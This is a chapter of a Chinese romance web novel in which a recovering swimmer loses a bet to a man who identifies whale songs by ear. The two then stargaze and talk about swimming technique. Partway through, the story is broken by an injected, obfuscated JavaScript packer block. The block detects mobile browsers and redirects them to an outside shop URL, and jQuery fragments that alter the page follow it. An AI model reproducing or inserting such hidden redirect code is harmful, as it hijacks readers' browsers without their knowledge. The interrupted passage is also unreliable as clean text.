周三晚上七点二十，苏晚禾准时出现在灯塔铁门外。


    铁门没锁，她推门进去，爬上螺旋楼梯。


    塔顶的台灯已经亮着，谢临洲正坐在桌前整理一堆录音设备，几个小巧的录音笔，一个头戴式耳机，还有一个连接着电脑的声谱仪。


    “这是什么阵仗？”苏晚禾把背包放下。


    “鲸鱼叫声。”谢临洲递给她一个耳机，“听吗？”


    苏晚禾戴上耳机。


    起初是沙沙的背景音，接着，一声悠长、低沉的鸣叫从耳机里传来，像是从深海传来的叹息，又像是某种古老的歌谣。


    那声音持续了十几秒，音调起伏变化，然后渐渐消失。


    她摘下耳机：“这是......鲸鱼？”


    “座头鲸。”谢临洲在电脑上点开一个波形图，“这段录音是在太平洋海域采集的，每头座头鲸都有自己独特的‘歌声’，会随着时间变化。”


    苏晚禾凑过去看屏幕。


    声波图形像起伏的山峦，标注着频率和时间。


    “你能分辨不同鲸鱼的叫声？”她问。


    “大部分可以。”谢临洲换了段录音，“这是蓝鲸，频率更低，更低沉。这是虎鲸，声音尖锐一些。”


    苏晚禾又听了几段。


    说实话，在她听来都差不多，都是低沉的、悠长的嗡鸣。


    “我不信。”她直起身，“这些声音听起来都一个样，你怎么可能分得清是哪头鲸？”


    谢临洲看她一眼：“打赌？”


    “赌什么？”


    “如果我分辨对了，你答应我一件事。如果我错了，我答应你一件事。”谢临洲说，“当然，事情要在合理范围内。”


    苏晚禾想了想：“行。怎么赌？”


    谢临洲从电脑里调出一个文件夹，里面有几十段音频文件，编号从1到25。“这些是我收集的鲸鱼叫声，每段15秒。有座头鲸、蓝鲸、长须鲸、灰鲸，还有几段是同一头鲸不同年份的录音。你随机选五段，我听完告诉你是什么鲸，什么时候录的，如果是同一头鲸我还要说出年份。”


    苏晚禾瞪大眼睛：“这不可能。”


    “试试？”


    “试就试。”


    苏晚禾转过身，闭上眼睛，在电脑屏幕上随便点了五个数字：3，7，12，18，22。


    谢临洲调出对应的音频，戴上耳机。


    第一段。


    他听了十秒，摘下耳机：“座头鲸，太平洋种群，2018年录音。是头成年雄性，它的歌声里有个特殊的转音，像这样——”他哼了一个短促的音调，“这个特征在其他座头鲸里很少见。”


    苏晚禾对照着音频的备注文件——完全正确。


    第二段。


    谢临洲听了更短的时间：“蓝鲸，印度洋海域，2019年。频率在14赫兹左右，是典型的亚种特征。”


    又对。


    第三段：“长须鲸，北大西洋，2020年。这段录音质量不太好，背景有船只噪音。”


    对。


    第四段，谢临洲听了两遍。


    他微微皱眉：“这是......同一头座头鲸，但时间更早，2016年。它的歌声还没完全成形，但那个转音的雏形已经有了。”


    苏晚禾看着备注文件，手有点抖，备注上写着“疑似与003号录音为同一头鲸，需进一步分析”。


    而谢临洲只听了一遍就判断出来了。


    最后一段。


    谢临洲听完，沉默了几秒。


    “这不是鲸鱼。”他说，“这是伪造的。用的是座头鲸的基础频率，但波形太规整了，自然界没有这么完美的声波。而且背景里有人为的电子噪音。”


    苏晚禾看向备注——文件22的备注栏写着：“合成测试音频，用于声谱分析教学。”


    她彻底服了。


    “你怎么做到的？”她摘下耳机，“这些声音我听着都差不多。”


    “听多了就能分辨。”谢临洲关掉电脑，“就像你能分辨不同泳姿的水花声一样。”


    苏晚禾一愣：“我能吗？”


    “你能。”谢临洲肯定地说，“自由泳的水花是连续有节奏的‘哗—哗—哗’。蛙泳是‘嘭、嘭、嘭’的爆破声。蝶泳最响，是‘啪！啪！啪！’。仰泳最轻，几乎只有水流声。”


    苏晚禾仔细回想，好像确实是这样。


    在游泳馆训练时，她闭着眼睛听水声，就能知道隔壁泳道的人在游什么。


    “好吧。”她举起双手，“你赢了。说吧，要我答应什么事？”


    谢临洲想了想：“教我怎么正确划水。”


    “不是已经在教了吗？”


    “实际教。”谢临洲说，“在水里。”


    苏晚禾愣住：“可我不能游泳啊，医生只允许我在水里走动。”


    “不用你游。”谢临洲说，“你站在浅水区，我做动作，你纠正。就像在球馆你挥拍，我纠正一样。”


    苏晚禾犹豫了。


    王医生明确说过不许划水，但如果只是站在水里指导别人......


    “下周行吗？”她问，“这周我刚恢复水下活动，王医生盯得紧。下周他应该会松一点。”


    “好。”谢临洲点头，“那就下周。”


    赌约结束，谢临洲开始收拾设备。


    苏晚禾帮忙整理电线，突然问：“你为什么这么喜欢鲸鱼？”


    谢临洲的动作顿了顿：“它们很大，很安静，活在深海里。叫声能传几千公里，但几乎没人听过。”


    “就像你？”苏晚禾脱口而出，说完就想咬舌头。


    但谢临洲没生气。


    他笑了笑：“也许吧。”


    收拾完毕，两人像往常一样坐在望远镜旁。


    今晚天气很好，银河清晰可见。


    谢临洲调好焦距，让苏晚禾看天鹅座。


    “那颗最亮的叫天津四。”他指着目镜里的星星，“是天鹅座的主星，距离我们大约1400光年。”


    苏晚禾看着那颗遥远的恒星，突然说：“你说鲸鱼的叫声能传几千公里，那星星的光走了1400年才到我们这里。”她直起身，“这么一想，我们听见的鲸鱼叫声可能是几年前发出的，看到的星光是一千多年前的。那我们此刻在这里，算不算同时在听过去、看过去？”


    谢临洲侧头看她。


    台灯的光晕里，他的眼睛显得很柔和。


    “算。”他说，“所以我们也在成为别人的过去。”


    这话说得有点深，苏晚禾一时不知道该怎么接。


    她转回头继续看星星，过了一会儿才说：“下周除了教你划水，我再给你讲讲转身技巧吧。自由泳转身的蹬壁发力，其实和羽毛球网前步法有点像。”


    “好。”


    “还有呼吸节奏。游长距离的时候，呼吸要跟划水节奏配合，不能乱。你打球的时候，呼吸是不是也跟挥拍节奏配合？”


    “嗯。”谢临洲说，“发力时呼气，放松时吸气。”


    “看，运动都是相通的。”苏晚禾有点得意。


    他们在灯塔待到九点半。


    下楼时，谢临洲照例走在前面打手电。


    走到塔底，苏晚禾突然说：“对了，我存了你家电话。”


    谢临洲回头看她。


    “上次台风之后，我问护工要的。”苏晚禾说，“以后要是有什么事，可以打电话。”


    谢临洲沉默了几秒：“我不用手机。”


    “我知道。”苏晚禾说，“所以是固定电话。反正......存都存了。”


    她说完有点不好意思，快步走到前面。


    月光下，海面泛着银色的波光。


    “苏晚禾。”谢临洲在后面叫住她。


    她回头。


    “谢谢。”他说。


    “不客气。”苏晚禾摆摆手，“走了，下周见。”


    “下周见。”


    回到疗养院，苏晚禾轻车熟路地从后门溜进去，自从台风天后，她就发现了这个漏洞。


    上楼时正好碰见护士小陈。


    “晚禾，又去散步了？”小陈笑着问。


    “嗯，看看星星。”苏晚禾面不改色。


    “早点休息啊，明天还要复健。”


    “知道啦。”


    回到房间，苏晚禾打开电脑，开始搜索鲸鱼叫声的资料。


    她找到一些科普网站，下载了几段录音，戴上耳机仔细听。


    听了半小时，她还是分不清座头鲸和蓝鲸的区别。


    “这比分辨水花声难多了。”她嘀咕着，继续听。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930139|192799||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    第二天下午的水下活动时间，苏晚禾特意提前到泳池。


    王医生今天不在，只有护士小陈在池边看着。


    “小陈姐，”苏晚禾扒在池边，“下周我能带个朋友来吗？他也在复健，想学学怎么在水里活动。”


    小陈犹豫了一下：“什么朋友？”


    “就镇上的，也受过伤，不能剧烈运动。”苏晚禾说得很诚恳，“他想学点基础的水中康复动作，我保证不游，就站在水里指导他。”


    小陈想了想：“我得问问王医生。”


    “问吧问吧。”苏晚禾说，“王医生要是同意，我就带他来。要是不同意，那就算了。”


    她说完开始今天的“水中行走”。


    其实就是在齐胸深的水里来回走，感受水流阻力，活动关节。


    很无聊，但至少能下水。


    走了二十分钟，她停在池边休息。


    泳池的玻璃顶棚上停着一只小鸟，正在梳理羽毛。


    苏晚禾看着它，突然想起谢临洲说的鲸鱼歌声。


    那么大的生物，发出那么低沉的声音，在深海里传得很远很远。


    而她在这里，在小小的泳池里，连划水都不被允许。


    “晚禾，该上来了。”小陈在池边喊，“半小时到了。”


    苏晚禾爬出泳池，用毛巾擦干身体。


    肩部的感觉比上周好多了，活动时基本不疼了。


    “王医生说下周可以适当增加一些上肢活动。”小陈递给她水，“但还是要小心。”


    “增加什么活动？”


    “比如这样。”小陈做了个缓慢的划水动作，手臂几乎不发力，“就像在水里走路时，手臂轻轻拨水，辅助平衡。”


    苏晚禾眼睛一亮：“那我能教别人吗？就这个动作。”


    小陈笑了：“等你下周先自己练好了再说。”


    苏晚禾点点头，心里已经开始计划下周怎么教谢临洲了。


    先从基础的浮力感受开始，然后是平衡，再然后是那个轻轻拨水的动作......


    晚饭后，她回到房间，继续听鲸鱼叫声。


    这次她开了两个窗口，一边放座头鲸的录音，一边放蓝鲸的，来回对比。


    听了一个小时，她终于听出了一点区别：座头鲸的叫声更像唱歌，有清晰的旋律变化；蓝鲸的更低沉，更单调。


    她拿起手机，找到谢临洲家的电话，犹豫了一下，还是拨了过去。


    响了五声，那边接起来了：“喂？”


    “谢临洲，是我。”苏晚禾说，“我听出来了，座头鲸和蓝鲸的区别。”


    电话那头沉默了一下，然后传来很轻的笑声：“是吗？”


    “真的！座头鲸像在唱歌，蓝鲸像在......叹气？”


    “差不多。”谢临洲说，“蓝鲸的频率更低，所以听起来更沉闷。座头鲸的频率范围更广，所以能‘唱歌’。”


    “那长须鲸呢？”


    “介于两者之间。”


    苏晚禾靠在床头：“我决定了，要练出‘听声辨鲸’的技能。等练成了，再跟你赌一次。”


    “赌什么？”


    “还没想好。”苏晚禾说，“反正你要做好准备。”


    “好。”谢临洲的声音透过电话传来，比平时听起来柔和一些，“我等着。”


    又聊了几句，苏晚禾挂了电话。


    她看着窗外夜色中的大海，突然觉得，如果能一直这样下去，好像也不错。


    有泳池可以下，有星星可以看，有鲸鱼叫声可以听，还有一个愿意打赌的朋友。


    她关上灯，躺在床上。


    远处传来隐约的潮声，一下，又一下。


    而在镇西的旧居民楼里，谢临洲挂断电话后，在日记本上写：


    “8月3日，灯塔夜。


    和苏晚禾打了赌，关于鲸鱼叫声。我赢了，她答应下周教我划水。


    她听出了座头鲸和蓝鲸的区别。


    她说要练出‘听声辨鲸’的技能，再赌一次。


    我等着。


    下周要下水了。很久没下水了。


    希望不会太狼狈。”


    他放下笔，看向窗外。


    夜色深沉，海天相接处一片模糊。


    但灯塔的方向，他知道，永远亮着一盏灯。